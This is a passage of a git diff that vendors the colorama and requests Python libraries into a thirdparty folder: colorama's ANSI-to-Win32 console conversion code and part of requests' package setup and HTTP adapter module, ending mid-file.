''' + Implements a 'write()' method which, on Windows, will strip ANSI character + sequences from the text, and if outputting to a tty, will convert them into + win32 function calls. + ''' + ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer + ANSI_OSC_RE = re.compile('\001?\033\\]([^\a]*)(\a)\002?') # Operating System Command + + def __init__(self, wrapped, convert=None, strip=None, autoreset=False): + # The wrapped stream (normally sys.stdout or sys.stderr) + self.wrapped = wrapped + + # should we reset colors to defaults after every .write() + self.autoreset = autoreset + + # create the proxy wrapping our output stream + self.stream = StreamWrapper(wrapped, self) + + on_windows = os.name == 'nt' + # We test if the WinAPI works, because even if we are on Windows + # we may be using a terminal that doesn't support the WinAPI + # (e.g. Cygwin Terminal). In this case it's up to the terminal + # to support the ANSI codes. + conversion_supported = on_windows and winapi_test() + + # should we strip ANSI sequences from our output? + if strip is None: + strip = conversion_supported or (not self.stream.closed and not self.stream.isatty()) + self.strip = strip + + # should we should convert ANSI sequences into win32 calls? + if convert is None: + convert = conversion_supported and not self.stream.closed and self.stream.isatty() + self.convert = convert + + # dict of ansi codes to win32 functions and parameters + self.win32_calls = self.get_win32_calls() + + # are we wrapping stderr? + self.on_stderr = self.wrapped is sys.stderr + + def should_wrap(self): + ''' + True if this class is actually needed. If false, then the output + stream will not be affected, nor will win32 calls be issued, so + wrapping stdout is not actually required. This will generally be + False on non-Windows platforms, unless optional functionality like + autoreset has been requested using kwargs to init() + ''' + return self.convert or self.strip or self.autoreset + + def get_win32_calls(self): + if self.convert and winterm: + return { + AnsiStyle.RESET_ALL: (winterm.reset_all, ), + AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), + AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), + AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), + AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), + AnsiFore.RED: (winterm.fore, WinColor.RED), + AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), + AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), + AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), + AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), + AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), + AnsiFore.WHITE: (winterm.fore, WinColor.GREY), + AnsiFore.RESET: (winterm.fore, ), + AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), + AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), + AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), + AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), + AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), + AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), + AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), + AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), + AnsiBack.BLACK: (winterm.back, WinColor.BLACK), + AnsiBack.RED: (winterm.back, WinColor.RED), + AnsiBack.GREEN: (winterm.back, WinColor.GREEN), + AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), + AnsiBack.BLUE: (winterm.back, WinColor.BLUE), + AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), + AnsiBack.CYAN: (winterm.back, WinColor.CYAN), + AnsiBack.WHITE: (winterm.back, WinColor.GREY), + AnsiBack.RESET: (winterm.back, ), + AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), + AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), + AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), + AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), + AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), + AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), + AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), + AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), + } + return dict() + + def write(self, text): + if self.strip or self.convert: + self.write_and_convert(text) + else: + self.wrapped.write(text) + self.wrapped.flush() + if self.autoreset: + self.reset_all() + + + def reset_all(self): + if self.convert: + self.call_win32('m', (0,)) + elif not self.strip and not self.stream.closed: + self.wrapped.write(Style.RESET_ALL) + + + def write_and_convert(self, text): + ''' + Write the given text to our wrapped stream, stripping any ANSI + sequences from the text, and optionally converting them into win32 + calls. + ''' + cursor = 0 + text = self.convert_osc(text) + for match in self.ANSI_CSI_RE.finditer(text): + start, end = match.span() + self.write_plain_text(text, cursor, start) + self.convert_ansi(*match.groups()) + cursor = end + self.write_plain_text(text, cursor, len(text)) + + + def write_plain_text(self, text, start, end): + if start < end: + self.wrapped.write(text[start:end]) + self.wrapped.flush() + + + def convert_ansi(self, paramstring, command): + if self.convert: + params = self.extract_params(command, paramstring) + self.call_win32(command, params) + + + def extract_params(self, command, paramstring): + if command in 'Hf': + params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) + while len(params) < 2: + # defaults: + params = params + (1,) + else: + params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) + if len(params) == 0: + # defaults: + if command in 'JKm': + params = (0,) + elif command in 'ABCD': + params = (1,) + + return params + + + def call_win32(self, command, params): + if command == 'm': + for param in params: + if param in self.win32_calls: + func_args = self.win32_calls[param] + func = func_args[0] + args = func_args[1:] + kwargs = dict(on_stderr=self.on_stderr) + func(*args, **kwargs) + elif command in 'J': + winterm.erase_screen(params[0], on_stderr=self.on_stderr) + elif command in 'K': + winterm.erase_line(params[0], on_stderr=self.on_stderr) + elif command in 'Hf': # cursor position - absolute + winterm.set_cursor_position(params, on_stderr=self.on_stderr) + elif command in 'ABCD': # cursor position - relative + n = params[0] + # A - up, B - down, C - forward, D - back + x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] + winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) + + + def convert_osc(self, text): + for match in self.ANSI_OSC_RE.finditer(text): + start, end = match.span() + text = text[:start] + text[end:] + paramstring, command = match.groups() + if command == BEL: + if paramstring.count(";") == 1: + params = paramstring.split(";") + # 0 - change title and icon (we will only change title) + # 1 - change icon (we don't support this) + # 2 - change title + if params[0] in '02': + winterm.set_title(params[1]) + return text diff --git a/thirdparty/colorama/initialise.py b/thirdparty/colorama/initialise.py new file mode 100644 index 0000000..430d066 --- /dev/null +++ b/thirdparty/colorama/initialise.py @@ -0,0 +1,80 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. +import atexit +import contextlib +import sys + +from .ansitowin32 import AnsiToWin32 + + +orig_stdout = None +orig_stderr = None + +wrapped_stdout = None +wrapped_stderr = None + +atexit_done = False + + +def reset_all(): + if AnsiToWin32 is not None: # Issue #74: objects might become None at exit + AnsiToWin32(orig_stdout).reset_all() + + +def init(autoreset=False, convert=None, strip=None, wrap=True): + + if not wrap and any([autoreset, convert, strip]): + raise ValueError('wrap=False conflicts with any other arg=True') + + global wrapped_stdout, wrapped_stderr + global orig_stdout, orig_stderr + + orig_stdout = sys.stdout + orig_stderr = sys.stderr + + if sys.stdout is None: + wrapped_stdout = None + else: + sys.stdout = wrapped_stdout = \ + wrap_stream(orig_stdout, convert, strip, autoreset, wrap) + if sys.stderr is None: + wrapped_stderr = None + else: + sys.stderr = wrapped_stderr = \ + wrap_stream(orig_stderr, convert, strip, autoreset, wrap) + + global atexit_done + if not atexit_done: + atexit.register(reset_all) + atexit_done = True + + +def deinit(): + if orig_stdout is not None: + sys.stdout = orig_stdout + if orig_stderr is not None: + sys.stderr = orig_stderr + + +@contextlib.contextmanager +def colorama_text(*args, **kwargs): + init(*args, **kwargs) + try: + yield + finally: + deinit() + + +def reinit(): + if wrapped_stdout is not None: + sys.stdout = wrapped_stdout + if wrapped_stderr is not None: + sys.stderr = wrapped_stderr + + +def wrap_stream(stream, convert, strip, autoreset, wrap): + if wrap: + wrapper = AnsiToWin32(stream, + convert=convert, strip=strip, autoreset=autoreset) + if wrapper.should_wrap(): + stream = wrapper.stream + return stream diff --git a/thirdparty/colorama/win32.py b/thirdparty/colorama/win32.py new file mode 100644 index 0000000..c2d8360 --- /dev/null +++ b/thirdparty/colorama/win32.py @@ -0,0 +1,152 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. + +# from winbase.h +STDOUT = -11 +STDERR = -12 + +try: + import ctypes + from ctypes import LibraryLoader + windll = LibraryLoader(ctypes.WinDLL) + from ctypes import wintypes +except (AttributeError, ImportError): + windll = None + SetConsoleTextAttribute = lambda *_: None + winapi_test = lambda *_: None +else: + from ctypes import byref, Structure, c_char, POINTER + + COORD = wintypes._COORD + + class CONSOLE_SCREEN_BUFFER_INFO(Structure): + """struct in wincon.h.""" + _fields_ = [ + ("dwSize", COORD), + ("dwCursorPosition", COORD), + ("wAttributes", wintypes.WORD), + ("srWindow", wintypes.SMALL_RECT), + ("dwMaximumWindowSize", COORD), + ] + def __str__(self): + return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( + self.dwSize.Y, self.dwSize.X + , self.dwCursorPosition.Y, self.dwCursorPosition.X + , self.wAttributes + , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right + , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X + ) + + _GetStdHandle = windll.kernel32.GetStdHandle + _GetStdHandle.argtypes = [ + wintypes.DWORD, + ] + _GetStdHandle.restype = wintypes.HANDLE + + _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo + _GetConsoleScreenBufferInfo.argtypes = [ + wintypes.HANDLE, + POINTER(CONSOLE_SCREEN_BUFFER_INFO), + ] + _GetConsoleScreenBufferInfo.restype = wintypes.BOOL + + _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute + _SetConsoleTextAttribute.argtypes = [ + wintypes.HANDLE, + wintypes.WORD, + ] + _SetConsoleTextAttribute.restype = wintypes.BOOL + + _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition + _SetConsoleCursorPosition.argtypes = [ + wintypes.HANDLE, + COORD, + ] + _SetConsoleCursorPosition.restype = wintypes.BOOL + + _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA + _FillConsoleOutputCharacterA.argtypes = [ + wintypes.HANDLE, + c_char, + wintypes.DWORD, + COORD, + POINTER(wintypes.DWORD), + ] + _FillConsoleOutputCharacterA.restype = wintypes.BOOL + + _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute + _FillConsoleOutputAttribute.argtypes = [ + wintypes.HANDLE, + wintypes.WORD, + wintypes.DWORD, + COORD, + POINTER(wintypes.DWORD), + ] + _FillConsoleOutputAttribute.restype = wintypes.BOOL + + _SetConsoleTitleW = windll.kernel32.SetConsoleTitleW + _SetConsoleTitleW.argtypes = [ + wintypes.LPCWSTR + ] + _SetConsoleTitleW.restype = wintypes.BOOL + + def _winapi_test(handle): + csbi = CONSOLE_SCREEN_BUFFER_INFO() + success = _GetConsoleScreenBufferInfo( + handle, byref(csbi)) + return bool(success) + + def winapi_test(): + return any(_winapi_test(h) for h in + (_GetStdHandle(STDOUT), _GetStdHandle(STDERR))) + + def GetConsoleScreenBufferInfo(stream_id=STDOUT): + handle = _GetStdHandle(stream_id) + csbi = CONSOLE_SCREEN_BUFFER_INFO() + success = _GetConsoleScreenBufferInfo( + handle, byref(csbi)) + return csbi + + def SetConsoleTextAttribute(stream_id, attrs): + handle = _GetStdHandle(stream_id) + return _SetConsoleTextAttribute(handle, attrs) + + def SetConsoleCursorPosition(stream_id, position, adjust=True): + position = COORD(*position) + # If the position is out of range, do nothing. + if position.Y <= 0 or position.X <= 0: + return + # Adjust for Windows' SetConsoleCursorPosition: + # 1. being 0-based, while ANSI is 1-based. + # 2. expecting (x,y), while ANSI uses (y,x). + adjusted_position = COORD(position.Y - 1, position.X - 1) + if adjust: + # Adjust for viewport's scroll position + sr = GetConsoleScreenBufferInfo(STDOUT).srWindow + adjusted_position.Y += sr.Top + adjusted_position.X += sr.Left + # Resume normal processing + handle = _GetStdHandle(stream_id) + return _SetConsoleCursorPosition(handle, adjusted_position) + + def FillConsoleOutputCharacter(stream_id, char, length, start): + handle = _GetStdHandle(stream_id) + char = c_char(char.encode()) + length = wintypes.DWORD(length) + num_written = wintypes.DWORD(0) + # Note that this is hard-coded for ANSI (vs wide) bytes. + success = _FillConsoleOutputCharacterA( + handle, char, length, start, byref(num_written)) + return num_written.value + + def FillConsoleOutputAttribute(stream_id, attr, length, start): + ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' + handle = _GetStdHandle(stream_id) + attribute = wintypes.WORD(attr) + length = wintypes.DWORD(length) + num_written = wintypes.DWORD(0) + # Note that this is hard-coded for ANSI (vs wide) bytes. + return _FillConsoleOutputAttribute( + handle, attribute, length, start, byref(num_written)) + + def SetConsoleTitle(title): + return _SetConsoleTitleW(title) diff --git a/thirdparty/colorama/winterm.py b/thirdparty/colorama/winterm.py new file mode 100644 index 0000000..0fdb4ec --- /dev/null +++ b/thirdparty/colorama/winterm.py @@ -0,0 +1,169 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. +from . import win32 + + +# from wincon.h +class WinColor(object): + BLACK = 0 + BLUE = 1 + GREEN = 2 + CYAN = 3 + RED = 4 + MAGENTA = 5 + YELLOW = 6 + GREY = 7 + +# from wincon.h +class WinStyle(object): + NORMAL = 0x00 # dim text, dim background + BRIGHT = 0x08 # bright text, dim background + BRIGHT_BACKGROUND = 0x80 # dim text, bright background + +class WinTerm(object): + + def __init__(self): + self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes + self.set_attrs(self._default) + self._default_fore = self._fore + self._default_back = self._back + self._default_style = self._style + # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. + # So that LIGHT_EX colors and BRIGHT style do not clobber each other, + # we track them separately, since LIGHT_EX is overwritten by Fore/Back + # and BRIGHT is overwritten by Style codes. + self._light = 0 + + def get_attrs(self): + return self._fore + self._back * 16 + (self._style | self._light) + + def set_attrs(self, value): + self._fore = value & 7 + self._back = (value >> 4) & 7 + self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) + + def reset_all(self, on_stderr=None): + self.set_attrs(self._default) + self.set_console(attrs=self._default) + self._light = 0 + + def fore(self, fore=None, light=False, on_stderr=False): + if fore is None: + fore = self._default_fore + self._fore = fore + # Emulate LIGHT_EX with BRIGHT Style + if light: + self._light |= WinStyle.BRIGHT + else: + self._light &= ~WinStyle.BRIGHT + self.set_console(on_stderr=on_stderr) + + def back(self, back=None, light=False, on_stderr=False): + if back is None: + back = self._default_back + self._back = back + # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style + if light: + self._light |= WinStyle.BRIGHT_BACKGROUND + else: + self._light &= ~WinStyle.BRIGHT_BACKGROUND + self.set_console(on_stderr=on_stderr) + + def style(self, style=None, on_stderr=False): + if style is None: + style = self._default_style + self._style = style + self.set_console(on_stderr=on_stderr) + + def set_console(self, attrs=None, on_stderr=False): + if attrs is None: + attrs = self.get_attrs() + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + win32.SetConsoleTextAttribute(handle, attrs) + + def get_position(self, handle): + position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition + # Because Windows coordinates are 0-based, + # and win32.SetConsoleCursorPosition expects 1-based. + position.X += 1 + position.Y += 1 + return position + + def set_cursor_position(self, position=None, on_stderr=False): + if position is None: + # I'm not currently tracking the position, so there is no default. + # position = self.get_position() + return + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + win32.SetConsoleCursorPosition(handle, position) + + def cursor_adjust(self, x, y, on_stderr=False): + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + position = self.get_position(handle) + adjusted_position = (position.Y + y, position.X + x) + win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) + + def erase_screen(self, mode=0, on_stderr=False): + # 0 should clear from the cursor to the end of the screen. + # 1 should clear from the cursor to the beginning of the screen. + # 2 should clear the entire screen, and move cursor to (1,1) + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + csbi = win32.GetConsoleScreenBufferInfo(handle) + # get the number of character cells in the current buffer + cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y + # get number of character cells before current cursor position + cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X + if mode == 0: + from_coord = csbi.dwCursorPosition + cells_to_erase = cells_in_screen - cells_before_cursor + elif mode == 1: + from_coord = win32.COORD(0, 0) + cells_to_erase = cells_before_cursor + elif mode == 2: + from_coord = win32.COORD(0, 0) + cells_to_erase = cells_in_screen + else: + # invalid mode + return + # fill the entire screen with blanks + win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) + # now set the buffer's attributes accordingly + win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) + if mode == 2: + # put the cursor where needed + win32.SetConsoleCursorPosition(handle, (1, 1)) + + def erase_line(self, mode=0, on_stderr=False): + # 0 should clear from the cursor to the end of the line. + # 1 should clear from the cursor to the beginning of the line. + # 2 should clear the entire line. + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + csbi = win32.GetConsoleScreenBufferInfo(handle) + if mode == 0: + from_coord = csbi.dwCursorPosition + cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X + elif mode == 1: + from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) + cells_to_erase = csbi.dwCursorPosition.X + elif mode == 2: + from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) + cells_to_erase = csbi.dwSize.X + else: + # invalid mode + return + # fill the entire screen with blanks + win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) + # now set the buffer's attributes accordingly + win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) + + def set_title(self, title): + win32.SetConsoleTitle(title) diff --git a/thirdparty/requests/__init__.py b/thirdparty/requests/__init__.py new file mode 100644 index 0000000..0ac7713 --- /dev/null +++ b/thirdparty/requests/__init__.py @@ -0,0 +1,152 @@ +# -*- coding: utf-8 -*- + +# __ +# /__) _ _ _ _ _/ _ +# / ( (- (/ (/ (- _) / _) +# / + +""" +Requests HTTP Library +~~~~~~~~~~~~~~~~~~~~~ + +Requests is an HTTP library, written in Python, for human beings. +Basic GET usage: + + >>> import requests + >>> r = requests.get('https://www.python.org') + >>> r.status_code + 200 + >>> b'Python is a programming language' in r.content + True + +... or POST: + + >>> payload = dict(key1='value1', key2='value2') + >>> r = requests.post('https://httpbin.org/post', data=payload) + >>> print(r.text) + { + ... + "form": { + "key1": "value1", + "key2": "value2" + }, + ... + } + +The other HTTP methods are supported - see `requests.api`. Full documentation +is at . + +:copyright: (c) 2017 by Kenneth Reitz. +:license: Apache 2.0, see LICENSE for more details. +""" + +import urllib3 +import warnings +from .exceptions import RequestsDependencyWarning + +try: + from charset_normalizer import __version__ as charset_normalizer_version +except ImportError: + charset_normalizer_version = None + +try: + from chardet import __version__ as chardet_version +except ImportError: + chardet_version = None + +def check_compatibility(urllib3_version, chardet_version, charset_normalizer_version): + urllib3_version = urllib3_version.split('.') + assert urllib3_version != ['dev'] # Verify urllib3 isn't installed from git. + + # Sometimes, urllib3 only reports its version as 16.1. + if len(urllib3_version) == 2: + urllib3_version.append('0') + + # Check urllib3 for compatibility. + major, minor, patch = urllib3_version # noqa: F811 + major, minor, patch = int(major), int(minor), int(patch) + # urllib3 >= 1.21.1, <= 1.26 + assert major == 1 + assert minor >= 21 + assert minor <= 26 + + # Check charset_normalizer for compatibility. + if chardet_version: + major, minor, patch = chardet_version.split('.')[:3] + major, minor, patch = int(major), int(minor), int(patch) + # chardet_version >= 3.0.2, < 5.0.0 + assert (3, 0, 2) <= (major, minor, patch) < (5, 0, 0) + elif charset_normalizer_version: + major, minor, patch = charset_normalizer_version.split('.')[:3] + major, minor, patch = int(major), int(minor), int(patch) + # charset_normalizer >= 2.0.0 < 3.0.0 + assert (2, 0, 0) <= (major, minor, patch) < (3, 0, 0) + else: + raise Exception("You need either charset_normalizer or chardet installed") + +def _check_cryptography(cryptography_version): + # cryptography < 1.3.4 + try: + cryptography_version = list(map(int, cryptography_version.split('.'))) + except ValueError: + return + + if cryptography_version < [1, 3, 4]: + warning = 'Old version of cryptography ({}) may cause slowdown.'.format(cryptography_version) + warnings.warn(warning, RequestsDependencyWarning) + +# Check imported dependencies for compatibility. +try: + check_compatibility(urllib3.__version__, chardet_version, charset_normalizer_version) +except (AssertionError, ValueError): + warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported " + "version!".format(urllib3.__version__, chardet_version, charset_normalizer_version), + RequestsDependencyWarning) + +# Attempt to enable urllib3's fallback for SNI support +# if the standard library doesn't support SNI or the +# 'ssl' library isn't available. +try: + try: + import ssl + except ImportError: + ssl = None + + if not getattr(ssl, "HAS_SNI", False): + from urllib3.contrib import pyopenssl + pyopenssl.inject_into_urllib3() + + # Check cryptography version + from cryptography import __version__ as cryptography_version + _check_cryptography(cryptography_version) +except ImportError: + pass + +# urllib3's DependencyWarnings should be silenced. +from urllib3.exceptions import DependencyWarning +warnings.simplefilter('ignore', DependencyWarning) + +from .__version__ import __title__, __description__, __url__, __version__ +from .__version__ import __build__, __author__, __author_email__, __license__ +from .__version__ import __copyright__, __cake__ + +from . import utils +from . import packages +from .models import Request, Response, PreparedRequest +from .api import request, get, head, post, patch, put, delete, options +from .sessions import session, Session +from .status_codes import codes +from .exceptions import ( + RequestException, Timeout, URLRequired, + TooManyRedirects, HTTPError, ConnectionError, + FileModeWarning, ConnectTimeout, ReadTimeout +) + +# Set default logging handler to avoid "No handler found" warnings. +import logging +from logging import NullHandler + +logging.getLogger(__name__).addHandler(NullHandler()) + +# FileModeWarnings go off per the default. +warnings.simplefilter('default', FileModeWarning, append=True) diff --git a/thirdparty/requests/__version__.py b/thirdparty/requests/__version__.py new file mode 100644 index 0000000..0d7cde1 --- /dev/null +++ b/thirdparty/requests/__version__.py @@ -0,0 +1,14 @@ +# .-. .-. .-. . . .-. .-. .-. .-. +# |( |- |.| | | |- `-. | `-. +# ' ' `-' `-`.`-' `-' `-' ' `-' + +__title__ = 'requests' +__description__ = 'Python HTTP for Humans.' +__url__ = 'https://requests.readthedocs.io' +__version__ = '2.26.0' +__build__ = 0x022600 +__author__ = 'Kenneth Reitz' +__author_email__ = 'me@kennethreitz.org' +__license__ = 'Apache 2.0' +__copyright__ = 'Copyright 2020 Kenneth Reitz' +__cake__ = u'\u2728 \U0001f370 \u2728' diff --git a/thirdparty/requests/_internal_utils.py b/thirdparty/requests/_internal_utils.py new file mode 100644 index 0000000..759d9a5 --- /dev/null +++ b/thirdparty/requests/_internal_utils.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- + +""" +requests._internal_utils +~~~~~~~~~~~~~~ + +Provides utility functions that are consumed internally by Requests +which depend on extremely few external helpers (such as compat) +""" + +from .compat import is_py2, builtin_str, str + + +def to_native_string(string, encoding='ascii'): + """Given a string object, regardless of type, returns a representation of + that string in the native string type, encoding and decoding where + necessary. This assumes ASCII unless told otherwise. + """ + if isinstance(string, builtin_str): + out = string + else: + if is_py2: + out = string.encode(encoding) + else: + out = string.decode(encoding) + + return out + + +def unicode_is_ascii(u_string): + """Determine if unicode string only contains ASCII characters. + + :param str u_string: unicode string to check. Must be unicode + and not Python 2 `str`. + :rtype: bool + """ + assert isinstance(u_string, str) + try: + u_string.encode('ascii') + return True + except UnicodeEncodeError: + return False diff --git a/thirdparty/requests/adapters.py b/thirdparty/requests/adapters.py new file mode 100644 index 0000000..fa4d9b3 --- /dev/null +++ b/thirdparty/requests/adapters.py @@ -0,0 +1,533 @@ +# -*- coding: utf-8 -*- + +""" +requests.adapters +~~~~~~~~~~~~~~~~~ + +This module contains the transport adapters that Requests uses to define +and maintain connections. +""" + +import os.path +import socket + +from urllib3.poolmanager import PoolManager, proxy_from_url +from urllib3.response import HTTPResponse +from urllib3.util import parse_url +from urllib3.util import Timeout as TimeoutSauce +from urllib3.util.retry import Retry +from urllib3.exceptions import ClosedPoolError +from urllib3.exceptions import ConnectTimeoutError +from urllib3.exceptions import HTTPError as _HTTPError +from urllib3.exceptions import MaxRetryError +from urllib3.exceptions import NewConnectionError +from urllib3.exceptions import ProxyError as _ProxyError +from urllib3.exceptions import ProtocolError +from urllib3.exceptions import ReadTimeoutError +from urllib3.exceptions import SSLError as _SSLError +from urllib3.exceptions import ResponseError +from urllib3.exceptions import LocationValueError + +from .models import Response +from .compat import urlparse, basestring +from .utils import (DEFAULT_CA_BUNDLE_PATH, extract_zipped_paths, + get_encoding_from_headers, prepend_scheme_if_needed, + get_auth_from_url, urldefragauth, select_proxy) +from .structures import CaseInsensitiveDict +from .cookies import extract_cookies_to_jar +from .exceptions import (ConnectionError, ConnectTimeout, ReadTimeout, SSLError, + ProxyError, RetryError, InvalidSchema, InvalidProxyURL, + InvalidURL) +from .auth import _basic_auth_str + +try: + from urllib3.contrib.socks import SOCKSProxyManager +except ImportError: + def SOCKSProxyManager(*args, **kwargs): + raise InvalidSchema("Missing dependencies for SOCKS support.") + +DEFAULT_POOLBLOCK = False +DEFAULT_POOLSIZE = 10 +DEFAULT_RETRIES = 0 +DEFAULT_POOL_TIMEOUT = None + + +class BaseAdapter(object): + """The Base Transport Adapter""" + + def __init__(self): + super(BaseAdapter, self).__init__() + + def send(self, request, stream=False, timeout=None, verify=True, + cert=None, proxies=None): + """Sends PreparedRequest object. Returns Response object. + + :param request: The :class:`PreparedRequest ` being sent. + :param stream: (optional) Whether to stream the request content. + :param timeout: (optional) How long to wait for the server to send + data before giving up, as a float, or a :ref:`(connect timeout, + read timeout) ` tuple. + :type timeout: float or tuple + :param verify: (optional) Either a boolean, in which case it controls whether we verify + the server's TLS certificate, or a string, in which case it must be a path + to a CA bundle to use + :param cert: (optional) Any user-provided SSL certificate to be trusted. + :param proxies: (optional) The proxies dictionary to apply to the request. + """ + raise NotImplementedError + + def close(self): + """Cleans up adapter specific items.""" + raise NotImplementedError + + +class HTTPAdapter(BaseAdapter): + """The built-in HTTP Adapter for urllib3. + + Provides a general-case interface for Requests sessions to contact HTTP and + HTTPS urls by implementing the Transport Adapter interface. This class will + usually be created by the :class:`Session ` class under the + covers. + + :param pool_connections: The number of urllib3 connection pools to cache. + :param pool_maxsize: The maximum number of connections to save in the pool. + :param max_retries: The maximum number of retries each connection + should attempt. Note, this applies only to failed DNS lookups, socket + connections and connection timeouts, never to requests where data has + made it to the server. By default, Requests does not retry failed + connections. If you need granular control over the conditions under + which we retry a request, import urllib3's ``Retry`` class and pass + that instead. + :param pool_block: Whether the connection pool should block for connections. + + Usage:: + + >>> import requests + >>> s = requests.Session() + >>> a = requests.adapters.HTTPAdapter(max_retries=3) + >>> s.mount('http://', a) + """ + __attrs__ = ['max_retries', 'config', '_pool_connections', '_pool_maxsize', + '_pool_block'] + + def __init__(self, pool_connections=DEFAULT_POOLSIZE, + pool_maxsize=DEFAULT_POOLSIZE, max_retries=DEFAULT_RETRIES, + pool_block=DEFAULT_POOLBLOCK): + if max_retries == DEFAULT_RETRIES: + self.max_retries = Retry(0, read=False) + else: + self.max_retries = Retry.from_int(max_retries) + self.config = {} + self.proxy_manager = {} + + super(HTTPAdapter, self).__init__() + + self._pool_connections = pool_connections + self._pool_maxsize = pool_maxsize + self._pool_block = pool_block + + self.init_poolmanager(pool_connections, pool_maxsize, block=pool_block) + + def __getstate__(self): + return {attr: getattr(self, attr, None) for attr in self.__attrs__} + + def __setstate__(self, state): + # Can't handle by adding 'proxy_manager' to self.__attrs__ because + # self.poolmanager uses a lambda function, which isn't pickleable. + self.proxy_manager = {} + self.config = {} + + for attr, value in state.items(): + setattr(self, attr, value) + + self.init_poolmanager(self._pool_connections, self._pool_maxsize, + block=self._pool_block) + + def init_poolmanager(self, connections, maxsize, block=DEFAULT_POOLBLOCK, **pool_kwargs): + """Initializes a urllib3 PoolManager. + + This method should not be called from user code, and is only + exposed for use when subclassing the + :class:`HTTPAdapter `. + + :param connections: The number of urllib3 connection pools to cache. + :param maxsize: The maximum number of connections to save in the pool. + :param block: Block when no free connections are available. + :param pool_kwargs: Extra keyword arguments used to initialize the Pool Manager. + """ + # save these values for pickling + self._pool_connections = connections + self._pool_maxsize = maxsize + self._pool_block = block + + self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize, + block=block, strict=True, **pool_kwargs) + + def proxy_manager_for(self, proxy, **proxy_kwargs): + """Return urllib3 ProxyManager for the given proxy. + + This method should not be called from user code, and is only + exposed for use when subclassing the + :class:`HTTPAdapter `. + + :param proxy: The proxy to return a urllib3 ProxyManager for. + :param proxy_kwargs: Extra keyword arguments used to configure the Proxy Manager. + :returns: ProxyManager + :rtype: urllib3.ProxyManager + """ + if proxy in self.proxy_manager: + manager = self.proxy_manager[proxy] + elif proxy.lower().startswith('socks'): + username, password = get_auth_from_url(proxy) + manager = self.proxy_manager[proxy] = SOCKSProxyManager( + proxy, + username=username, + password=password, + num_pools=self._pool_connections, + maxsize=self._pool_maxsize, + block=self._pool_block, + **proxy_kwargs + ) + else: + proxy_headers = self.proxy_headers(proxy) + manager = self.proxy_manager[proxy] = proxy_from_url( + proxy, + proxy_headers=proxy_headers, + num_pools=self._pool_connections, + 